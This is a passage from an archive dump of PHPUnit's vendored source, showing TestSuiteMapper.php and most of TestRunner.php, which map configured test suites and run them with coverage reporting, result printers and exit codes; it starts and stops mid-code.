!$configuration->codeCoverage()->disableCodeCoverageIgnore(), $configuration->codeCoverage()->ignoreDeprecatedCodeUnits(), $filter ); print 'done [' . $timer->stop()->asString() . ']' . PHP_EOL; exit(TestRunner::SUCCESS_EXIT); } private function configurationFileInDirectory(string $directory): ?string { $candidates = [ $directory . '/phpunit.xml', $directory . '/phpunit.xml.dist', ]; foreach ($candidates as $candidate) { if (is_file($candidate)) { return realpath($candidate); } } return null; } } res/readability/vendor/phpunit/phpunit/src/TextUI/TestSuiteMapper.php000064400000006627147577714370022122 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use const PHP_VERSION; use function explode; use function in_array; use function is_dir; use function is_file; use function strpos; use function version_compare; use PHPUnit\Framework\Exception as FrameworkException; use PHPUnit\Framework\TestSuite as TestSuiteObject; use PHPUnit\TextUI\XmlConfiguration\TestSuiteCollection; use SebastianBergmann\FileIterator\Facade; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteMapper { /** * @throws RuntimeException * @throws TestDirectoryNotFoundException * @throws TestFileNotFoundException */ public function map(TestSuiteCollection $configuration, string $filter): TestSuiteObject { try { $filterAsArray = $filter ? explode(',', $filter) : []; $result = new TestSuiteObject; foreach ($configuration as $testSuiteConfiguration) { if (!empty($filterAsArray) && !in_array($testSuiteConfiguration->name(), $filterAsArray, true)) { continue; } $testSuite = new TestSuiteObject($testSuiteConfiguration->name()); $testSuiteEmpty = true; foreach ($testSuiteConfiguration->directories() as $directory) { if (!version_compare(PHP_VERSION, $directory->phpVersion(), $directory->phpVersionOperator()->asString())) { continue; } $exclude = []; foreach ($testSuiteConfiguration->exclude()->asArray() as $file) { $exclude[] = $file->path(); } $files = (new Facade)->getFilesAsArray( $directory->path(), $directory->suffix(), $directory->prefix(), $exclude ); if (!empty($files)) { $testSuite->addTestFiles($files); $testSuiteEmpty = false; } elseif (strpos($directory->path(), '*') === false && !is_dir($directory->path())) { throw new TestDirectoryNotFoundException($directory->path()); } } foreach ($testSuiteConfiguration->files() as $file) { if (!is_file($file->path())) { throw new TestFileNotFoundException($file->path()); } if (!version_compare(PHP_VERSION, $file->phpVersion(), $file->phpVersionOperator()->asString())) { continue; } $testSuite->addTestFile($file->path()); $testSuiteEmpty = false; } if (!$testSuiteEmpty) { $result->addTest($testSuite); } } return $result; } catch (FrameworkException $e) { throw new RuntimeException( $e->getMessage(), (int) $e->getCode(), $e ); } } } res/readability/vendor/phpunit/phpunit/src/TextUI/TestRunner.php000064400000153001147577714370021122 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use const PHP_EOL; use const PHP_SAPI; use const PHP_VERSION; use function array_diff; use function array_map; use function array_merge; use function assert; use function class_exists; use function count; use function dirname; use function file_put_contents; use function htmlspecialchars; use function is_array; use function is_int; use function is_string; use function mt_srand; use function range; use function realpath; use function sprintf; use function time; use PHPUnit\Framework\Exception; use PHPUnit\Framework\TestResult; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\AfterLastTestHook; use PHPUnit\Runner\BaseTestRunner; use PHPUnit\Runner\BeforeFirstTestHook; use PHPUnit\Runner\DefaultTestResultCache; use PHPUnit\Runner\Extension\ExtensionHandler; use PHPUnit\Runner\Filter\ExcludeGroupFilterIterator; use PHPUnit\Runner\Filter\Factory; use PHPUnit\Runner\Filter\IncludeGroupFilterIterator; use PHPUnit\Runner\Filter\NameFilterIterator; use PHPUnit\Runner\Hook; use PHPUnit\Runner\NullTestResultCache; use PHPUnit\Runner\ResultCacheExtension; use PHPUnit\Runner\StandardTestSuiteLoader; use PHPUnit\Runner\TestHook; use PHPUnit\Runner\TestListenerAdapter; use PHPUnit\Runner\TestSuiteLoader; use PHPUnit\Runner\TestSuiteSorter; use PHPUnit\Runner\Version; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\FilterMapper; use PHPUnit\TextUI\XmlConfiguration\Configuration; use PHPUnit\TextUI\XmlConfiguration\Loader; use PHPUnit\TextUI\XmlConfiguration\PhpHandler; use PHPUnit\Util\Color; use PHPUnit\Util\Filesystem; use PHPUnit\Util\Log\JUnit; use PHPUnit\Util\Log\TeamCity; use PHPUnit\Util\Printer; use PHPUnit\Util\TestDox\CliTestDoxPrinter; use PHPUnit\Util\TestDox\HtmlResultPrinter; use PHPUnit\Util\TestDox\TextResultPrinter; use PHPUnit\Util\TestDox\XmlResultPrinter; use PHPUnit\Util\XdebugFilterScriptGenerator; use PHPUnit\Util\Xml\SchemaDetector; use ReflectionClass; use ReflectionException; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Driver\Selector; use SebastianBergmann\CodeCoverage\Exception as CodeCoverageException; use SebastianBergmann\CodeCoverage\Filter as CodeCoverageFilter; use SebastianBergmann\CodeCoverage\Report\Clover as CloverReport; use SebastianBergmann\CodeCoverage\Report\Cobertura as CoberturaReport; use SebastianBergmann\CodeCoverage\Report\Crap4j as Crap4jReport; use SebastianBergmann\CodeCoverage\Report\Html\Facade as HtmlReport; use SebastianBergmann\CodeCoverage\Report\PHP as PhpReport; use SebastianBergmann\CodeCoverage\Report\Text as TextReport; use SebastianBergmann\CodeCoverage\Report\Xml\Facade as XmlReport; use SebastianBergmann\Comparator\Comparator; use SebastianBergmann\Environment\Runtime; use SebastianBergmann\Invoker\Invoker; use SebastianBergmann\Timer\Timer; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestRunner extends BaseTestRunner { public const SUCCESS_EXIT = 0; public const FAILURE_EXIT = 1; public const EXCEPTION_EXIT = 2; /** * @var CodeCoverageFilter */ private $codeCoverageFilter; /** * @var TestSuiteLoader */ private $loader; /** * @var ResultPrinter */ private $printer; /** * @var bool */ private $messagePrinted = false; /** * @var Hook[] */ private $extensions = []; /** * @var Timer */ private $timer; public function __construct(TestSuiteLoader $loader = null, CodeCoverageFilter $filter = null) { if ($filter === null) { $filter = new CodeCoverageFilter; } $this->codeCoverageFilter = $filter; $this->loader = $loader; $this->timer = new Timer; } /** * @throws \PHPUnit\Runner\Exception * @throws \PHPUnit\TextUI\XmlConfiguration\Exception * @throws Exception */ public function run(TestSuite $suite, array $arguments = [], array $warnings = [], bool $exit = true): TestResult { if (isset($arguments['configuration'])) { $GLOBALS['__PHPUNIT_CONFIGURATION_FILE'] = $arguments['configuration']; } $this->handleConfiguration($arguments); $warnings = array_merge($warnings, $arguments['warnings']); if (is_int($arguments['columns']) && $arguments['columns'] < 16) { $arguments['columns'] = 16; $tooFewColumnsRequested = true; } if (isset($arguments['bootstrap'])) { $GLOBALS['__PHPUNIT_BOOTSTRAP'] = $arguments['bootstrap']; } if ($arguments['backupGlobals'] === true) { $suite->setBackupGlobals(true); } if ($arguments['backupStaticAttributes'] === true) { $suite->setBackupStaticAttributes(true); } if ($arguments['beStrictAboutChangesToGlobalState'] === true) { $suite->setBeStrictAboutChangesToGlobalState(true); } if ($arguments['executionOrder'] === TestSuiteSorter::ORDER_RANDOMIZED) { mt_srand($arguments['randomOrderSeed']); } if ($arguments['cacheResult']) { if (!isset($arguments['cacheResultFile'])) { if (isset($arguments['configurationObject'])) { assert($arguments['configurationObject'] instanceof Configuration); $cacheLocation = $arguments['configurationObject']->filename(); } else { $cacheLocation = $_SERVER['PHP_SELF']; } $arguments['cacheResultFile'] = null; $cacheResultFile = realpath($cacheLocation); if ($cacheResultFile !== false) { $arguments['cacheResultFile'] = dirname($cacheResultFile); } } $cache = new DefaultTestResultCache($arguments['cacheResultFile']); $this->addExtension(new ResultCacheExtension($cache)); } if ($arguments['executionOrder'] !== TestSuiteSorter::ORDER_DEFAULT || $arguments['executionOrderDefects'] !== TestSuiteSorter::ORDER_DEFAULT || $arguments['resolveDependencies']) { $cache = $cache ?? new NullTestResultCache; $cache->load(); $sorter = new TestSuiteSorter($cache); $sorter->reorderTestsInSuite($suite, $arguments['executionOrder'], $arguments['resolveDependencies'], $arguments['executionOrderDefects']); $originalExecutionOrder = $sorter->getOriginalExecutionOrder(); unset($sorter); } if (is_int($arguments['repeat']) && $arguments['repeat'] > 0) { $_suite = new TestSuite; /* @noinspection PhpUnusedLocalVariableInspection */ foreach (range(1, $arguments['repeat']) as $step) { $_suite->addTest($suite); } $suite = $_suite; unset($_suite); } $result = $this->createTestResult(); $listener = new TestListenerAdapter; $listenerNeeded = false; foreach ($this->extensions as $extension) { if ($extension instanceof TestHook) { $listener->add($extension); $listenerNeeded = true; } } if ($listenerNeeded) { $result->addListener($listener); } unset($listener, $listenerNeeded); if ($arguments['convertDeprecationsToExceptions']) { $result->convertDeprecationsToExceptions(true); } if (!$arguments['convertErrorsToExceptions']) { $result->convertErrorsToExceptions(false); } if (!$arguments['convertNoticesToExceptions']) { $result->convertNoticesToExceptions(false); } if (!$arguments['convertWarningsToExceptions']) { $result->convertWarningsToExceptions(false); } if ($arguments['stopOnError']) { $result->stopOnError(true); } if ($arguments['stopOnFailure']) { $result->stopOnFailure(true); } if ($arguments['stopOnWarning']) { $result->stopOnWarning(true); } if ($arguments['stopOnIncomplete']) { $result->stopOnIncomplete(true); } if ($arguments['stopOnRisky']) { $result->stopOnRisky(true); } if ($arguments['stopOnSkipped']) { $result->stopOnSkipped(true); } if ($arguments['stopOnDefect']) { $result->stopOnDefect(true); } if ($arguments['registerMockObjectsFromTestArgumentsRecursively']) { $result->setRegisterMockObjectsFromTestArgumentsRecursively(true); } if ($this->printer === null) { if (isset($arguments['printer'])) { if ($arguments['printer'] instanceof ResultPrinter) { $this->printer = $arguments['printer']; } elseif (is_string($arguments['printer']) && class_exists($arguments['printer'], false)) { try { $reflector = new ReflectionClass($arguments['printer']); if ($reflector->implementsInterface(ResultPrinter::class)) { $this->printer = $this->createPrinter($arguments['printer'], $arguments); } // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } } else { $this->printer = $this->createPrinter(DefaultResultPrinter::class, $arguments); } } if (isset($originalExecutionOrder) && $this->printer instanceof CliTestDoxPrinter) { assert($this->printer instanceof CliTestDoxPrinter); $this->printer->setOriginalExecutionOrder($originalExecutionOrder); $this->printer->setShowProgressAnimation(!$arguments['noInteraction']); } if ($arguments['colors'] !== DefaultResultPrinter::COLOR_NEVER) { $this->write( 'PHPUnit ' . Version::id() . ' ' . Color::colorize('bg-blue', '#StandWith') . Color::colorize('bg-yellow', 'Ukraine') . "\n" ); } else { $this->write(Version::getVersionString() . "\n"); } foreach ($arguments['listeners'] as $listener) { $result->addListener($listener); } $result->addListener($this->printer); $coverageFilterFromConfigurationFile = false; $coverageFilterFromOption = false; $codeCoverageReports = 0; if (isset($arguments['testdoxHTMLFile'])) { $result->addListener( new HtmlResultPrinter( $arguments['testdoxHTMLFile'], $arguments['testdoxGroups'], $arguments['testdoxExcludeGroups'] ) ); } if (isset($arguments['testdoxTextFile'])) { $result->addListener( new TextResultPrinter( $arguments['testdoxTextFile'], $arguments['testdoxGroups'], $arguments['testdoxExcludeGroups'] ) ); } if (isset($arguments['testdoxXMLFile'])) { $result->addListener( new XmlResultPrinter( $arguments['testdoxXMLFile'] ) ); } if (isset($arguments['teamcityLogfile'])) { $result->addListener( new TeamCity($arguments['teamcityLogfile']) ); } if (isset($arguments['junitLogfile'])) { $result->addListener( new JUnit( $arguments['junitLogfile'], $arguments['reportUselessTests'] ) ); } if (isset($arguments['coverageClover'])) { $codeCoverageReports++; } if (isset($arguments['coverageCobertura'])) { $codeCoverageReports++; } if (isset($arguments['coverageCrap4J'])) { $codeCoverageReports++; } if (isset($arguments['coverageHtml'])) { $codeCoverageReports++; } if (isset($arguments['coveragePHP'])) { $codeCoverageReports++; } if (isset($arguments['coverageText'])) { $codeCoverageReports++; } if (isset($arguments['coverageXml'])) { $codeCoverageReports++; } if ($codeCoverageReports > 0 || isset($arguments['xdebugFilterFile'])) { if (isset($arguments['coverageFilter'])) { if (!is_array($arguments['coverageFilter'])) { $coverageFilterDirectories = [$arguments['coverageFilter']]; } else { $coverageFilterDirectories = $arguments['coverageFilter']; } foreach ($coverageFilterDirectories as $coverageFilterDirectory) { $this->codeCoverageFilter->includeDirectory($coverageFilterDirectory); } $coverageFilterFromOption = true; } if (isset($arguments['configurationObject'])) { assert($arguments['configurationObject'] instanceof Configuration); $codeCoverageConfiguration = $arguments['configurationObject']->codeCoverage(); if ($codeCoverageConfiguration->hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport()) { $coverageFilterFromConfigurationFile = true; (new FilterMapper)->map( $this->codeCoverageFilter, $codeCoverageConfiguration ); } } } if ($codeCoverageReports > 0) { try { if (isset($codeCoverageConfiguration) && ($codeCoverageConfiguration->pathCoverage() || (isset($arguments['pathCoverage']) && $arguments['pathCoverage'] === true))) { $codeCoverageDriver = (new Selector)->forLineAndPathCoverage($this->codeCoverageFilter); } else { $codeCoverageDriver = (new Selector)->forLineCoverage($this->codeCoverageFilter); } $codeCoverage = new CodeCoverage( $codeCoverageDriver, $this->codeCoverageFilter ); if (isset($codeCoverageConfiguration) && $codeCoverageConfiguration->hasCacheDirectory()) { $codeCoverage->cacheStaticAnalysis($codeCoverageConfiguration->cacheDirectory()->path()); } if (isset($arguments['coverageCacheDirectory'])) { $codeCoverage->cacheStaticAnalysis($arguments['coverageCacheDirectory']); } $codeCoverage->excludeSubclassesOfThisClassFromUnintentionallyCoveredCodeCheck(Comparator::class); if ($arguments['strictCoverage']) { $codeCoverage->enableCheckForUnintentionallyCoveredCode(); } if (isset($arguments['ignoreDeprecatedCodeUnitsFromCodeCoverage'])) { if ($arguments['ignoreDeprecatedCodeUnitsFromCodeCoverage']) { $codeCoverage->ignoreDeprecatedCode(); } else { $codeCoverage->doNotIgnoreDeprecatedCode(); } } if (isset($arguments['disableCodeCoverageIgnore'])) { if ($arguments['disableCodeCoverageIgnore']) { $codeCoverage->disableAnnotationsForIgnoringCode(); } else { $codeCoverage->enableAnnotationsForIgnoringCode(); } } if (isset($arguments['configurationObject'])) { $codeCoverageConfiguration = $arguments['configurationObject']->codeCoverage(); if ($codeCoverageConfiguration->hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport()) { if ($codeCoverageConfiguration->includeUncoveredFiles()) { $codeCoverage->includeUncoveredFiles(); } else { $codeCoverage->excludeUncoveredFiles(); } if ($codeCoverageConfiguration->processUncoveredFiles()) { $codeCoverage->processUncoveredFiles(); } else { $codeCoverage->doNotProcessUncoveredFiles(); } } } if ($this->codeCoverageFilter->isEmpty()) { if (!$coverageFilterFromConfigurationFile && !$coverageFilterFromOption) { $warnings[] = 'No filter is configured, code coverage will not be processed'; } else { $warnings[] = 'Incorrect filter configuration, code coverage will not be processed'; } unset($codeCoverage); } } catch (CodeCoverageException $e) { $warnings[] = $e->getMessage(); } } if ($arguments['verbose']) { if (PHP_SAPI === 'phpdbg') { $this->writeMessage('Runtime', 'PHPDBG ' . PHP_VERSION); } else { $runtime = 'PHP ' . PHP_VERSION; if (isset($codeCoverageDriver)) { $runtime .= ' with ' . $codeCoverageDriver->nameAndVersion(); } $this->writeMessage('Runtime', $runtime); } if (isset($arguments['configurationObject'])) { assert($arguments['configurationObject'] instanceof Configuration); $this->writeMessage( 'Configuration', $arguments['configurationObject']->filename() ); } foreach ($arguments['loadedExtensions'] as $extension) { $this->writeMessage( 'Extension', $extension ); } foreach ($arguments['notLoadedExtensions'] as $extension) { $this->writeMessage( 'Extension', $extension ); } } if ($arguments['executionOrder'] === TestSuiteSorter::ORDER_RANDOMIZED) { $this->writeMessage( 'Random Seed', (string) $arguments['randomOrderSeed'] ); } if (isset($tooFewColumnsRequested)) { $warnings[] = 'Less than 16 columns requested, number of columns set to 16'; } if ((new Runtime)->discardsComments()) { $warnings[] = 'opcache.save_comments=0 set; annotations will not work'; } if (isset($arguments['conflictBetweenPrinterClassAndTestdox'])) { $warnings[] = 'Directives printerClass and testdox are mutually exclusive'; } foreach ($warnings as $warning) { $this->writeMessage('Warning', $warning); } if (isset($arguments['configurationObject'])) { assert($arguments['configurationObject'] instanceof Configuration); if ($arguments['configurationObject']->hasValidationErrors()) { if ((new SchemaDetector)->detect($arguments['configurationObject']->filename())->detected()) { $this->writeMessage('Warning', 'Your XML configuration validates against a deprecated schema.'); $this->writeMessage('Suggestion', 'Migrate your XML configuration using "--migrate-configuration"!'); } else { $this->write( "\n Warning - The configuration file did not pass validation!\n The following problems have been detected:\n" ); $this->write($arguments['configurationObject']->validationErrors()); $this->write("\n Test results may not be as expected.\n\n"); } } } if (isset($arguments['xdebugFilterFile'], $codeCoverageConfiguration)) { $this->write(PHP_EOL . 'Please note that --dump-xdebug-filter and --prepend are deprecated and will be removed in PHPUnit 10.' . PHP_EOL); $script = (new XdebugFilterScriptGenerator)->generate($codeCoverageConfiguration); if ($arguments['xdebugFilterFile'] !== 'php://stdout' && $arguments['xdebugFilterFile'] !== 'php://stderr' && !Filesystem::createDirectory(dirname($arguments['xdebugFilterFile']))) { $this->write(sprintf('Cannot write Xdebug filter script to %s ' . PHP_EOL, $arguments['xdebugFilterFile'])); exit(self::EXCEPTION_EXIT); } file_put_contents($arguments['xdebugFilterFile'], $script); $this->write(sprintf('Wrote Xdebug filter script to %s ' . PHP_EOL . PHP_EOL, $arguments['xdebugFilterFile'])); exit(self::SUCCESS_EXIT); } $this->write("\n"); if (isset($codeCoverage)) { $result->setCodeCoverage($codeCoverage); } $result->beStrictAboutTestsThatDoNotTestAnything($arguments['reportUselessTests']); $result->beStrictAboutOutputDuringTests($arguments['disallowTestOutput']); $result->beStrictAboutTodoAnnotatedTests($arguments['disallowTodoAnnotatedTests']); $result->beStrictAboutResourceUsageDuringSmallTests($arguments['beStrictAboutResourceUsageDuringSmallTests']); if ($arguments['enforceTimeLimit'] === true && !(new Invoker)->canInvokeWithTimeout()) { $this->writeMessage('Error', 'PHP extension pcntl is required for enforcing time limits'); } $result->enforceTimeLimit($arguments['enforceTimeLimit']); $result->setDefaultTimeLimit($arguments['defaultTimeLimit']); $result->setTimeoutForSmallTests($arguments['timeoutForSmallTests']); $result->setTimeoutForMediumTests($arguments['timeoutForMediumTests']); $result->setTimeoutForLargeTests($arguments['timeoutForLargeTests']); if (isset($arguments['forceCoversAnnotation']) && $arguments['forceCoversAnnotation'] === true) { $result->forceCoversAnnotation(); } $this->processSuiteFilters($suite, $arguments); $suite->setRunTestInSeparateProcess($arguments['processIsolation']); foreach ($this->extensions as $extension) { if ($extension instanceof BeforeFirstTestHook) { $extension->executeBeforeFirstTest(); } } $testSuiteWarningsPrinted = false; foreach ($suite->warnings() as $warning) { $this->writeMessage('Warning', $warning); $testSuiteWarningsPrinted = true; } if ($testSuiteWarningsPrinted) { $this->write(PHP_EOL); } $suite->run($result); foreach ($this->extensions as $extension) { if ($extension instanceof AfterLastTestHook) { $extension->executeAfterLastTest(); } } $result->flushListeners(); $this->printer->printResult($result); if (isset($codeCoverage)) { if (isset($arguments['coverageClover'])) { $this->codeCoverageGenerationStart('Clover XML'); try { $writer = new CloverReport; $writer->process($codeCoverage, $arguments['coverageClover']); $this->codeCoverageGenerationSucceeded(); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($e); } } if (isset($arguments['coverageCobertura'])) { $this->codeCoverageGenerationStart('Cobertura XML'); try { $writer = new CoberturaReport; $writer->process($codeCoverage, $arguments['coverageCobertura']); $this->codeCoverageGenerationSucceeded(); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($e); } } if (isset($arguments['coverageCrap4J'])) { $this->codeCoverageGenerationStart('Crap4J XML'); try { $writer = new Crap4jReport($arguments['crap4jThreshold']); $writer->process($codeCoverage, $arguments['coverageCrap4J']); $this->codeCoverageGenerationSucceeded(); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($e); } } if (isset($arguments['coverageHtml'])) { $this->codeCoverageGenerationStart('HTML'); try { $writer = new HtmlReport( $arguments['reportLowUpperBound'], $arguments['reportHighLowerBound'], sprintf( ' and PHPUnit %s', Version::id() ) ); $writer->process($codeCoverage, $arguments['coverageHtml']); $this->codeCoverageGenerationSucceeded(); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($e); } } if (isset($arguments['coveragePHP'])) { $this->codeCoverageGenerationStart('PHP'); try { $writer = new PhpReport; $writer->process($codeCoverage, $arguments['coveragePHP']); $this->codeCoverageGenerationSucceeded(); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($e); } } if (isset($arguments['coverageText'])) { if ($arguments['coverageText'] === 'php://stdout') { $outputStream = $this->printer; $colors = $arguments['colors'] && $arguments['colors'] !== DefaultResultPrinter::COLOR_NEVER; } else { $outputStream = new Printer($arguments['coverageText']); $colors = false; } $processor = new TextReport( $arguments['reportLowUpperBound'], $arguments['reportHighLowerBound'], $arguments['coverageTextShowUncoveredFiles'], $arguments['coverageTextShowOnlySummary'] ); $outputStream->write( $processor->process($codeCoverage, $colors) ); } if (isset($arguments['coverageXml'])) { $this->codeCoverageGenerationStart('PHPUnit XML'); try { $writer = new XmlReport(Version::id()); $writer->process($codeCoverage, $arguments['coverageXml']); $this->codeCoverageGenerationSucceeded(); unset($writer); } catch (CodeCoverageException $e) { $this->codeCoverageGenerationFailed($e); } } } if ($exit) { if (isset($arguments['failOnEmptyTestSuite']) && $arguments['failOnEmptyTestSuite'] === true && count($result) === 0) { exit(self::FAILURE_EXIT); } if ($result->wasSuccessfulIgnoringWarnings()) { if ($arguments['failOnRisky'] && !$result->allHarmless()) { exit(self::FAILURE_EXIT); } if ($arguments['failOnWarning'] && $result->warningCount() > 0) { exit(self::FAILURE_EXIT); } if ($arguments['failOnIncomplete'] && $result->notImplementedCount() > 0) { exit(self::FAILURE_EXIT); } if ($arguments['failOnSkipped'] && $result->skippedCount() > 0) { exit(self::FAILURE_EXIT); } exit(self::SUCCESS_EXIT); } if ($result->errorCount() > 0) { exit(self::EXCEPTION_EXIT); } if ($result->failureCount() > 0) { exit(self::FAILURE_EXIT); } } return $result; } /** * Returns the loader to be used. */ public function getLoader(): TestSuiteLoader { if ($this->loader === null) { $this->loader = new StandardTestSuiteLoader; } return $this->loader; } public function addExtension(Hook $extension): void { $this->extensions[] = $extension; } /** * Override to define how to handle a failed loading of * a test suite. */ protected function runFailed(string $message): void { $this->write($message . PHP_EOL); exit(self::FAILURE_EXIT); } private function createTestResult(): TestResult { return new TestResult; } private function write(string $buffer): void { if (PHP_SAPI !== 'cli' && PHP_SAPI !== 'phpdbg') { $buffer = htmlspecialchars($buffer); } if ($this->printer !== null) { $this->printer->write($buffer); } else { print $buffer; } } /** * @throws \PHPUnit\TextUI\XmlConfiguration\Exception * @throws Exception */ private function handleConfiguration(array &$arguments): void { if (!isset($arguments['configurationObject']) && isset($arguments['configuration'])) { $arguments['configurationObject'] = (new Loader)->load($arguments['configuration']); } if (!isset($arguments['warnings'])) { $arguments['warnings'] = []; } $arguments['debug'] = $arguments['debug'] ?? false; $arguments['filter'] = $arguments['filter'] ?? false; $arguments['listeners'] = $arguments['listeners'] ?? []; if (isset($arguments['configurationObject'])) { (new PhpHandler)->handle($arguments['configurationObject']->php()); $codeCoverageConfiguration = $arguments['configurationObject']->codeCoverage(); if (!isset($arguments['noCoverage'])) { if (!isset($arguments['coverageClover']) && $codeCoverageConfiguration->hasClover()) { $arguments['coverageClover'] = $codeCoverageConfiguration->clover()->target()->path(); } if (!isset($arguments['coverageCobertura']) && $codeCoverageConfiguration->hasCobertura()) { $arguments['coverageCobertura'] = $codeCoverageConfiguration->cobertura()->target()->path(); } if (!isset($arguments['coverageCrap4J']) && $codeCoverageConfiguration->hasCrap4j()) { $arguments['coverageCrap4J'] = $codeCoverageConfiguration->crap4j()->target()->path(); if (!isset($arguments['crap4jThreshold'])) { $arguments['crap4jThreshold'] = $codeCoverageConfiguration->crap4j()->threshold(); } } if (!isset($arguments['coverageHtml']) && $codeCoverageConfiguration->hasHtml()) { $arguments['coverageHtml'] = $codeCoverageConfiguration->html()->target()->path(); if (!isset($arguments['reportLowUpperBound'])) { $arguments['reportLowUpperBound'] = $codeCoverageConfiguration->html()->lowUpperBound(); } if (!isset($arguments['reportHighLowerBound'])) { $arguments['reportHighLowerBound'] = $codeCoverageConfiguration->html()->highLowerBound(); } } if (!isset($arguments['coveragePHP']) && $codeCoverageConfiguration->hasPhp()) { $arguments['coveragePHP'] = $codeCoverageConfiguration->php()->target()->path(); } if (!isset($arguments['coverageText']) && $codeCoverageConfiguration->hasText()) { $arguments['coverageText'] = $codeCoverageConfiguration->text()->target()->path(); $arguments['coverageTextShowUncoveredFiles'] = $codeCoverageConfiguration->text()->showUncoveredFiles(); $arguments['coverageTextShowOnlySummary'] = $codeCoverageConfiguration->text()->showOnlySummary(); } if (!isset($arguments['coverageXml']) && $codeCoverageConfiguration->hasXml()) { $arguments['coverageXml'] = $codeCoverageConfiguration->xml()->target()->path(); } } $phpunitConfiguration = $arguments['configurationObject']->phpunit(); $arguments['backupGlobals'] = $arguments['backupGlobals'] ?? $phpunitConfiguration->backupGlobals(); $arguments['backupStaticAttributes'] = $arguments['backupStaticAttributes'] ?? $phpunitConfiguration->backupStaticAttributes(); $arguments['beStrictAboutChangesToGlobalState'] = $arguments['beStrictAboutChangesToGlobalState'] ?? $phpunitConfiguration->beStrictAboutChangesToGlobalState(); $arguments['cacheResult'] = $arguments['cacheResult'] ?? $phpunitConfiguration->cacheResult(); $arguments['colors'] = $arguments['colors'] ?? $phpunitConfiguration->colors(); $arguments['convertDeprecationsToExceptions'] = $arguments['convertDeprecationsToExceptions'] ?? $phpunitConfiguration->convertDeprecationsToExceptions(); $arguments['convertErrorsToExceptions'] = $arguments['convertErrorsToExceptions'] ?? $phpunitConfiguration->convertErrorsToExceptions(); $arguments['convertNoticesToExceptions'] = $arguments['convertNoticesToExceptions'] ?? $phpunitConfiguration->convertNoticesToExceptions(); $arguments['convertWarningsToExceptions'] = $arguments['convertWarningsToExceptions'] ?? $phpunitConfiguration->convertWarningsToExceptions(); $arguments['processIsolation'] = $arguments['processIsolation'] ?? $phpunitConfiguration->processIsolation(); $arguments['stopOnDefect'] = $arguments['stopOnDefect'] ?? $phpunitConfiguration->stopOnDefect(); $arguments['stopOnError'] = $arguments['stopOnError'] ?? $phpunitConfiguration->stopOnError(); $arguments['stopOnFailure'] = $arguments['stopOnFailure'] ?? $phpunitConfiguration->stopOnFailure(); $arguments['stopOnWarning'] = $arguments['stopOnWarning'] ?? $phpunitConfiguration->stopOnWarning(); $arguments['stopOnIncomplete'] = $arguments['stopOnIncomplete'] ?? $phpunitConfiguration->stopOnIncomplete(); $arguments['stopOnRisky'] = $arguments['stopOnRisky'] ?? $phpunitConfiguration->stopOnRisky(); $arguments['stopOnSkipped'] = $arguments['stopOnSkipped'] ?? $phpunitConfiguration->stopOnSkipped(); $arguments['failOnEmptyTestSuite'] = $arguments['failOnEmptyTestSuite'] ?? $phpunitConfiguration->failOnEmptyTestSuite(); $arguments['failOnIncomplete'] = $arguments['failOnIncomplete'] ?? $phpunitConfiguration->failOnIncomplete(); $arguments['failOnRisky'] = $arguments['failOnRisky'] ?? $phpunitConfiguration->failOnRisky(); $arguments['failOnSkipped'] = $arguments['failOnSkipped'] ?? $phpunitConfiguration->failOnSkipped(); $arguments['failOnWarning'] = $arguments['failOnWarning'] ?? $phpunitConfiguration->failOnWarning(); $arguments['enforceTimeLimit'] = $arguments['enforceTimeLimit'] ?? $phpunitConfiguration->enforceTimeLimit(); $arguments['defaultTimeLimit'] = $arguments['defaultTimeLimit'] ?? $phpunitConfiguration->defaultTimeLimit(); $arguments['timeoutForSmallTests'] = $arguments['timeoutForSmallTests'] ?? $phpunitConfiguration->timeoutForSmallTests(); $arguments['timeoutForMediumTests'] = $arguments['timeoutForMediumTests'] ?? $phpunitConfiguration->timeoutForMediumTests(); $arguments['timeoutForLargeTests'] = $arguments['timeoutForLargeTests'] ?? $phpunitConfiguration->timeoutForLargeTests(); $arguments['reportUselessTests'] = $arguments['reportUselessTests'] ?? $phpunitConfiguration->beStrictAboutTestsThatDoNotTestAnything(); $arguments['strictCoverage'] = $arguments['strictCoverage'] ?? $phpunitConfiguration->beStrictAboutCoversAnnotation(); $arguments['ignoreDeprecatedCodeUnitsFromCodeCoverage'] = $arguments['ignoreDeprecatedCodeUnitsFromCodeCoverage'] ?? $codeCoverageConfiguration->ignoreDeprecatedCodeUnits(); $arguments['disallowTestOutput'] = $arguments['disallowTestOutput'] ?? $phpunitConfiguration->beStrictAboutOutputDuringTests(); $arguments['disallowTodoAnnotatedTests'] = $arguments['disallowTodoAnnotatedTests'] ?? $phpunitConfiguration->beStrictAboutTodoAnnotatedTests(); $arguments['beStrictAboutResourceUsageDuringSmallTests'] = $arguments['beStrictAboutResourceUsageDuringSmallTests'] ?? $phpunitConfiguration->beStrictAboutResourceUsageDuringSmallTests(); $arguments['verbose'] = $arguments['verbose'] ?? $phpunitConfiguration->verbose(); $arguments['reverseDefectList'] = $arguments['reverseDefectList'] ?? $phpunitConfiguration->reverseDefectList(); $arguments['forceCoversAnnotation'] = $arguments['forceCoversAnnotation'] ?? $phpunitConfiguration->forceCoversAnnotation(); $arguments['disableCodeCoverageIgnore'] = $arguments['disableCodeCoverageIgnore'] ?? $codeCoverageConfiguration->disableCodeCoverageIgnore(); $arguments['registerMockObjectsFromTestArgumentsRecursively'] = $arguments['registerMockObjectsFromTestArgumentsRecursively'] ?? $phpunitConfiguration->registerMockObjectsFromTestArgumentsRecursively(); $arguments['noInteraction'] = $arguments['noInteraction'] ?? $phpunitConfiguration->noInteraction(); $arguments['executionOrder'] = 